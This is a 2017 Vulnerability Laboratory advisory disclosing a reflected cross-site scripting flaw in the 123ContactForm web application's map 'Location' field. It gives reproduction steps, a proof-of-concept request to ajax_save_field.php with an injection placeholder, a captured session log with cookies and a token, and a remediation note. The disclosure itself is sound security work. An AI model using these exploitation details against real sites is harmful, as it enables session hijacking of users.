Document Title:
===============
123ContactForm - Cross Site Scripting Web Vulnerability
Date:
=====
2017-06-11
References:
===========
https://www.vulnerability-lab.com/get_content.php?id=1982
Ref: 123-1476631846
VL-ID:
=====
1982
Common Vulnerability Scoring System:
====================================
3.3
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Introduction:
=============
123ContactForm is a service developed by a team of dedicated professionals in Timisoara, Romania.
Founded in 2008, 123ContactForm has customers around the world who choose our products every time
they build online forms and surveys.
(Copy of the Vendor Hompage: https://www.123contactform.com/ )
Abstract:
=========
An independent vulnerability laboratory researcher discovered a client side cross site scripting vulnerability in the official 123ContactForm web-application.
Report-Timeline:
================
2016-10-16: Researcher Notification & Coordination (ZwX)
2016-10-17: Vendor Notification (123ContactForm Support Team)
2017-06-12: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
123ContactForm
Product: 123ContactForm - Web Application v2016 Q4
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A client-side cross site scripting vulnerability has been discovered in the 123Contact Form web-application.
The security vulnerability allows remote attackers to inject malicious script codes to client-side browser requests.
A client-side cross site scripting web vulnerability is located in the `Location` input field. The web vulnerability
could allow remote attackers to execute javascript in the web-browser of an user or administrator to compromise
session credentials. The attacker can connect to a third account to trigger the issue without knowing the password.
The security risk of the xss vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persistent cross site scripting web vulnerability requires low or medium user interaction and no privileged
web-application user account. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing
attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Location - Map Pro
Vulnerable File(s):
[+] ajax_save_field.php
Vulnerable Parameter(s):
[+] value
Proof of Concept:
=================
The cross site vulnerability can be exploited by remote attackers with web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Create an user account
2. Connect to the dashboard and click on "Create New Form"
3. Click on "Event Registration Form"
4. Click on the Map Google at buttom and click on the link "Customize Map"
5. Customize Map opens a window
6. Copy paste the vector ( '">
) in input "Location" to execute via value
6. Finally click "Save"
7. A messagebox appreas on execute successfully by the value parameter
--- PoC Pictures ---
http://zwx.fr/POCXSS.PNG
http://zwx.fr/POCXSS2.PNG
PoC: URL
https://123contactform.localhost/ajax_save_field.php
?cid=22812003&fid=2248753&pro=map_c_values&
islikert=0&value=[CLIENT SIDE SCRIPT CODE INJECT!]&
selectedformcreated=1476438146&selecteduser=1077591&
cacheKiller=0.05597585558969986&selectedFieldControl=0&
containerForEditorActions=1
--- PoC Session Logs [GET] ---
Status: 200 [OK]
Host: www.123contactform.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
theToken: d2767e1cdf526c38c5a8d14e8
Referer: https://www.123contactform.com/index.php?p=edit_fields&id=2248753&action=firsttime
Cookie: x-channel=website; x-subchannel=website; x-source=organic; user_type=unknown; x-campaign=no-campaign; x-landing=%2Fsecurity-acknowledgements.htm; 123cf=64AEAFD7-855C-40D4-BAEE-406B081CF758; referer123cookie=http%3A%2F%2Fbugsheet.com%2Fdirectory; AWSELB=596B2BAD0280A921E426D1B649308CC69A1C856B743EDCBCE34D07E0A9EC55A2DFD9A6A3D2B6C5F677E4C749D525B848D39C268A28FBC6E570CCD431ECA0C0ECD30A1D13A4; SnapABugHistory=2#; _ga=GA1.2.2031563181.1476410572; __ar_v4=WFH7JRHHDNEVZPPCUQ2ABR%3A20161013%3A54%7CMLVDQJATP5EPDMGBRC5TRU%3A20161013%3A54%7CILTNEPP2HZFL7AMBEUMFOE%3A20161013%3A54; __reff=[[www.123contactform.com/security-acknowledgements.htm]]bugsheet.com&1476410574641.1476412397387.7|[[www.123contactform.com/index.php]](direct)&1476437441090.1476437441090.1; spid=CD6108C6-3D7D-491B-8934-5156A4E6A99B; sp_apnxid=3900529803954807116; mktz_client=%7B%22is_returning%22%3A%221%22%2C%22uid%22%3A%2213325530231307318897%22%2C%22session%22%3A%22ses499300756ion%22%2C%22views%22%3A2%2C%22referer_url%22%3A%22http%3A//www.123contactform.com/security-acknowledgements.htm%22%2C%22referer_domain%22%3A%22www.123contactform.com%22%2C%22referer_type%22%3A%22refferal%22%2C%22visits%22%3A1%2C%22landing%22%3A%22http%3A//www.123contactform.com/%22%2C%22enter_at%22%3A%222016-10-14%7C4%3A3%3A14%22%2C%22first_visit%22%3A%222016-10-14%7C4%3A3%3A14%22%2C%22last_visit%22%3A%222016-10-14%7C4%3A3%3A14%22%2C%22last_variation%22%3A%22%22%2C%22utm_source%22%3Afalse%2C%22utm_term%22%3Afalse%2C%22utm_campaign%22%3Afalse%2C%22utm_content%22%3Afalse%2C%22utm_medium%22%3Afalse%7D; optimizelySegments=%7B%223013120790%22%3A%22false%22%2C%223022890169%22%3A%22direct%22%2C%223024180249%22%3A%22ff%22%7D; optimizelyEndUserId=oeu1476410633006r0.5762439056508796; optimizelyBuckets=%7B%7D; __utma=95039516.2031563181.1476410572.1476410679.1476410679.1; __utmz=95039516.1476410679.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1s49us046u1nca63s90a4lbpq2; SnapABugRef=http%3A%2F%2Fwww.123contactform.com%2Fsecurity-acknowledgements.htm%20http%3A%2F%2Fbugsheet.com%2Fdirectory; SnapABugVisit=27#1476437435; sp_ssid=1476437441027; __sreff=1476437441090.1476437441090.1; UTM_usrprf=0%7C1476410503; UTM_last_login=1476437278; acknowledgeCookie=1; _gat_UA-305159-5=1; SnapABugChatWindow=%7C0%7C-1%2C0%2C-1%2C0
Connection: keep-alive
-
https://www.123contactform.com/ajax_save_field.php?cid=22812003&fid=2248753&pro=map_c_values&islikert=0&value='">
&selectedformcreated=1476438146&selecteduser=1077591&cacheKiller=0.05597585558969986&selectedFieldControl=0&containerForEditorActions=1
Solution:
=========
The vulnerability can be patched by a secure parse of the vulnerable value parameter in the affected ajax php file.
Restrict the input by disallowing the usage of special chars and filter for script code tags. Encode the vulnerable output location
by a parse of the context to prevent an execute of malicious script codes in the formular.
Risk:
=====
The security risk of the client-side cross site scripting web vulnerability in the web-application contact form is estimated as medium. (CVSS 3.2)
Credits:
========
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
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===========
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